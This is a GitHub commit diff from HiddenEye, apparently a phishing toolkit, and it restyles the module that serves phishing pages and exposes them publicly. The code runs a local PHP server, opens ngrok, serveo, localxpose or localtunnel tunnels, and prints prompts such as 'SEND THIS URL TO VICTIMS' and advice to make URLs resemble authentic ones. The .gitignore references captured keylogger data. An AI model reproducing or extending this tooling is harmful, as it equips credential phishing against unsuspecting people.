Merge branch 'dev' into restyled/pull-765

pull/766/head
sTiKyt 2020-08-13 20:10:41 +03:00 committed by GitHub
commit 88ce9d1b54
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
37 changed files with 2308 additions and 1200 deletions

6
.gitignore vendored
View File

@ -23,3 +23,9 @@ Server/CapturedData/KeyloggerData.txt
eula.txt
Server/www/
External_Software/
*.mo
venv/

3
.idea/.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
# Default ignored files
/shelf/
/workspace.xml

11
.idea/HiddenEye.iml Normal file
View File

@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" />
<orderEntry type="jdk" jdkName="Python 3.8 (HiddenEye)" jdkType="Python SDK" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
<component name="TestRunnerService">
<option name="PROJECT_TEST_RUNNER" value="Twisted Trial" />
</component>
</module>

View File

@ -0,0 +1,17 @@
<component name="InspectionProjectProfileManager">
<profile version="1.0">
<option name="myName" value="Project Default" />
<inspection_tool class="PyPep8Inspection" enabled="true" level="WEAK WARNING" enabled_by_default="true">
<option name="ignoredErrors">
<list>
<option value="W605" />
</list>
</option>
</inspection_tool>
<inspection_tool class="SpellCheckingInspection" enabled="false" level="TYPO" enabled_by_default="false">
<option name="processCode" value="true" />
<option name="processLiterals" value="true" />
<option name="processComments" value="true" />
</inspection_tool>
</profile>
</component>

View File

@ -0,0 +1,6 @@
<component name="InspectionProjectProfileManager">
<settings>
<option name="USE_PROJECT_PROFILE" value="false" />
<version value="1.0" />
</settings>
</component>

4
.idea/misc.xml Normal file
View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.8 (HiddenEye)" project-jdk-type="Python SDK" />
</project>

8
.idea/modules.xml Normal file
View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/HiddenEye.iml" filepath="$PROJECT_DIR$/.idea/HiddenEye.iml" />
</modules>
</component>
</project>

6
.idea/vcs.xml Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$" vcs="Git" />
</component>
</project>

38
.restyled.yaml Normal file
View File

@ -0,0 +1,38 @@
# See https://github.com/restyled-io/restyled.io/wiki/Configuring-Restyled
enabled: true
exclude:
- "**/*.patch"
- "**/node_modules/**/*"
- "**/vendor/**/*"
- ".github/workflows/**/*" # https://github.com/restyled-io/restyler/issues/73
changed_paths:
maximum: 1000
outcome: error
remote_files: []
auto: false
pull_requests: true
comments: false
statuses: true
request_review: author
labels: []
ignore_labels:
- restyled-ignore
restylers_version: "master"
restylers:
- autopep8
- isort
- reorder-python-imports
- whitespace

View File

@ -4,36 +4,39 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import os
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path
import Defs.ThemeManager.theme as theme
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ThemeManager.theme as theme
from Defs.ActionManager import simple_informant
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO
from Defs.ImportManager.unsorted_will_be_replaced import CalledProcessError
from Defs.ImportManager.unsorted_will_be_replaced import check_output
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import DEVNULL
from Defs.ImportManager.unsorted_will_be_replaced import ngrok
from Defs.ImportManager.unsorted_will_be_replaced import ngrok_conf
from Defs.ImportManager.unsorted_will_be_replaced import path
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
from Defs.ImportManager.unsorted_will_be_replaced import requests
from Defs.ImportManager.unsorted_will_be_replaced import run_background_command
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import url_request
from Defs.ImportManager.unsorted_will_be_replaced import wait
from Defs.ImportManager.unsorted_will_be_replaced import ZipFile
from Defs.LocalizationManager.helper import print_sorted_as_menu
import os
try:
os.mkdir("Server/www")
except FileExistsError:
pass
enter_server_www = chdir("Server/www")
exit_server_www = chdir("../..")
default_palette = theme.default_palette
def server_selection(port): # Question where user must select server
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
# )
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
@ -42,64 +45,54 @@ def server_selection(port): # Question where user must select server
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line)
choice = choice.zfill(2)
if choice == '00':
run_command('clear')
if choice == "00":
run_command("clear")
start_localhost(port) # FIXED
elif choice == '01':
run_command('clear')
elif choice == "01":
run_command("clear")
start_ngrok(port) # FIXED
elif choice == '02':
run_command('clear')
start_serveo(port) # ALMOST FIXED
elif choice == '03':
run_command('clear')
start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04':
run_command('clear')
elif choice == "02":
run_command("clear")
start_serveo(port) # TODO ALMOST FIXED
elif choice == "03":
run_command("clear")
start_localxpose(port) # TODO DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == "04":
run_command("clear")
start_localtunnel(port, True)
elif choice == '05':
run_command('clear')
elif choice == "05":
run_command("clear")
start_openport(port)
elif choice == '06':
run_command('clear')
elif choice == "06":
run_command("clear")
start_pagekite(port)
else:
run_command('clear')
run_command("clear")
return server_selection(port)
def set_php(host='127.0.0.1', port=80):
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
run_background_command(["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL,
stderr=DEVNULL)
def set_php(host="127.0.0.1", port=80):
run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
run_background_command(
["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
stdout=DEVNULL,
stderr=DEVNULL,
)
def set_port(port=80):
run_background_command(
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
stdout=DEVNULL,
stderr=DEVNULL)
def start_server(port=80):
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null",
# "2>&1"**/])
set_port(port)
# enter_server_www
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">",
# "/dev/null", "2>&1", "&"])
set_php(port=port)
# exit_server_www
def start_localhost(port):
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
run_command("clear")
# '')
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
@ -108,78 +101,44 @@ def start_localhost(port):
host = "127.0.0.1"
print(localization.lang_start_localhost["your_localhost_is"] + host)
set_port()
# run_command("cd Server/www/
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
enter_server_www
set_php(host, port)
print(localization.lang_start_localhost[
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
# wait(2)
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# ''')
print(localization.lang_start_localhost["starting_server_on_addr"] +
"{0}:{1}".format(host, port))
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_localhost["running_localhost_server"])
# print("-
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
print(localization.lang_start_localhost["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '{0}:{1}\n'.format(host, port))
print(localization.lang_start_localhost["localhost_url"] +
"{0}:{1}\n".format(host, port))
def start_ngrok(port):
ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml"
# ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input
# later
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# ''')
ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml")
run_command(["killall", "-2", "ngrok"], stdout=DEVNULL, stderr=DEVNULL)
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_ngrok["ngrok_server"])
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
# chmod('Server', 0o777)
# run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL,
# stderr=DEVNULL)
ngrok.connect(port=int(port))
# currentDirectory = os.getcwd() #DELETE
# print(currentDirectory) #DELETE
while True:
wait(2)
# urlFile = open('link.url', 'w')
# run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
# urlFile = open('link.url', 'r')
# url = urlFile.read()
ngrok_tunnels = ngrok.get_tunnels()
url = ngrok_tunnels[0].public_url
# urlFile.close()
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None:
# print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# \n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n")
if regular_expression.match("https://[0-9a-z]*\.ngrok.io",
url) is not None:
print(localization.lang_start_ngrok["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_ngrok[
"ngrok_url"] + url + default_palette[4])
print(localization.lang_start_localhost["localhost_url"] +
"127.0.0.1:" + port)
print(localization.lang_start_ngrok["ngrok_url"] + url +
default_palette[4])
break
@ -191,133 +150,99 @@ def start_serveo(port):
return True
def random(port):
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
#
# ''')
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_random_server"])
# run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
# /dev/null &' % (port))
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
run_command(
[
"ssh",
"-o",
"StrictHostKeyChecking=no",
"-o",
"ServerAliveInterval=60",
"-R",
"localhost:{0}".format(port),
"serveo.net",
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
wait(8)
try:
output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
shell=True)
url = output.decode("utf-8")
# print("-\n
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n")
print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
print(localization.lang_start_localhost["localhost_url"] +
"127.0.0.1:" + port)
print(localization.lang_start_serveo["serveo_url"] + url +
default_palette[4])
except CalledProcessError:
wait(4)
run_command('clear')
run_command("clear")
return random(port)
def custom(port):
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
# \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n
# \n
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo[
"make_url_simmilar_to_real_suggestion"])
print(localization.
lang_start_serveo["make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["insert_custom_subdomain"])
lnk = input(global_localization.input_line)
if not ".serveo.net" in lnk:
lnk += ".serveo.net"
else:
pass
# run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -o ServerAliveCountMax=60 -R
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
# port))
run_command(
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
stderr=DEVNULL)
run_background_command(
[
"ssh",
"-o",
"StrictHostKeyChecking=no",
"-o",
"ServerAliveInterval=60",
"-o",
"ServerAliveCountMax=60",
"-R",
"{0}:80:localhost:{1}".format(lnk, port),
"serveo.net",
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
lnk += ".serveousercontent.com"
wait(7)
try:
output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8")
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
# \n-------------------------------'''.format(default_palette[0], default_palette[2]))
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"])
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost[
"localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
print(localization.lang_start_localhost["localhost_url"] +
"127.0.0.1:" + port)
print(localization.lang_start_serveo["serveo_url"] + lnk +
default_palette[4])
print("\n")
except CalledProcessError:
# print('''\n !!!\n
# !!!\n
# !! \n''')
print(localization.lang_start_serveo["failed_to_get_domain"])
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
print(localization.
lang_start_serveo["you_can_try_to_select_other_domain"])
wait(4)
run_command('clear')
run_command("clear")
return custom(port)
if is_online:
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------
#
#
# '''.format(default_palette[0], default_palette[2]))
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
@ -325,224 +250,276 @@ def start_serveo(port):
print(localization.lang_start_serveo["serveo_url_option_selection"])
print(localization.lang_start_serveo["serveo_phishing_warning"])
print(localization.lang_start_serveo["choose_type_of_url"])
# print(" \n".format(default_palette[0], default_palette[2]))
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
choice = input(global_localization.input_line)
run_command('clear')
if choice == '1':
run_command("clear")
if choice == "1":
custom(port)
elif choice == '2':
elif choice == "2":
random(port)
else:
run_command('clear')
run_command("clear")
return start_serveo(port)
else:
# print("Serveo is DOWN now, do you want to select another option? Y/n")
print(localization.lang_start_serveo["serveo_is_down"])
choice = input("HiddenEye >> ")
choice = choice.lower()
if choice == 'y':
if choice == "y":
return server_selection(port)
else:
return start_serveo(port)
def start_localxpose(port):
localxpose_file = "External_Software/loclx"
localxpose_url = (
"https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
)
if path.isfile(localxpose_file):
pass
else:
if simple_informant.check_platform(
"system") == "Linux" and simple_informant.check_platform(
"architecture" is "x86_64"):
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
elif simple_informant.check_platform(
"system") == "Linux" and simple_informant.check_platform(
"architecture" is "aarch64"):
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
with url_request.urlopen(localxpose_url) as loclxzip:
with ZipFile(BytesIO(loclxzip.read())) as zip_file:
zip_file.extractall("External_Software")
chmod("External_Software/loclx", 0o777)
def random(port):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[1], default_palette[2]))
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
run_command(['Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL,
stderr=DEVNULL)
wait(8)
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_rand_localxpose["localxpose_random_server"])
run_command(
[
"External_Software/loclx",
"tunnel",
"http",
"--to",
":{0}".format(port),
">",
"link.url",
],
stdout=DEVNULL,
stderr=DEVNULL,
)
try:
output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode('utf-8')
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
shell=True)
url = output.decode("utf-8")
print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(
default_palette[4]))
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
.format(
default_palette[0],
default_palette[4],
default_palette[3],
port,
url,
) + "{0}".format(default_palette[4]))
print("\n")
except CalledProcessError:
wait(4)
run_command('clear')
run_command("clear")
return random(port)
def custom(port):
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
print(global_localization.small_logo)
print(
"""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
.format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
run_command(
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
% (port, lnk))
wait(7)
try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
shell=True)
url = output.decode("utf-8")
run_command('clear')
print('''
run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
{0}** BY:DARKSEC \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(
default_palette[4]))
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}"
.format(default_palette[0], default_palette[2],
default_palette[3], port) + url +
"{0}".format(default_palette[4]))
print("\n")
except CalledProcessError:
print(
'''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format(
default_palette[0], default_palette[4]))
"""\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n"""
.format(default_palette[0], default_palette[4]))
wait(4)
run_command('clear')
run_command("clear")
return custom(port)
print('''
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n'''.format(
default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n"""
.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2]))
run_command('clear')
if choice == '1':
"\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}"
.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"
.format(default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0],
default_palette[2]))
run_command("clear")
if choice == "1":
custom(port)
elif choice == '2':
elif choice == "2":
random(port)
else:
run_command('clear')
run_command("clear")
return start_localxpose(port)
def start_localtunnel(port, npm):
run_command('clear')
print('''
run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".
format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0],
default_palette[2]))
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
"\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL"
.format(default_palette[0], default_palette[2]))
s = input("\n{0}(Localtunnel/Subdomain)> {1}".format(
default_palette[0], default_palette[2]))
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
try:
run_command('{0}lt -p '.format('' if npm else 'Server/') +
port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
run_command("{0}lt -p ".format("" if npm else "Server/") + port +
((" -s " + s) if s != "" else s) + " > link.url &")
wait(3)
run_command('clear')
print('''
run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------"""
.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(
default_palette[0], default_palette[2], default_palette[3], port,
str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r")))
"\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}"
.format(
default_palette[0],
default_palette[2],
default_palette[3],
port,
str(
check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
shell=True)).strip("b ' \ n r"),
))
except CalledProcessError:
run_command('clear')
print('''
run_command("clear")
print("""
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(
default_palette[0], default_palette[2]))
print('{0}error[invalid/preoccupied]{0}'.format(default_palette[0]))
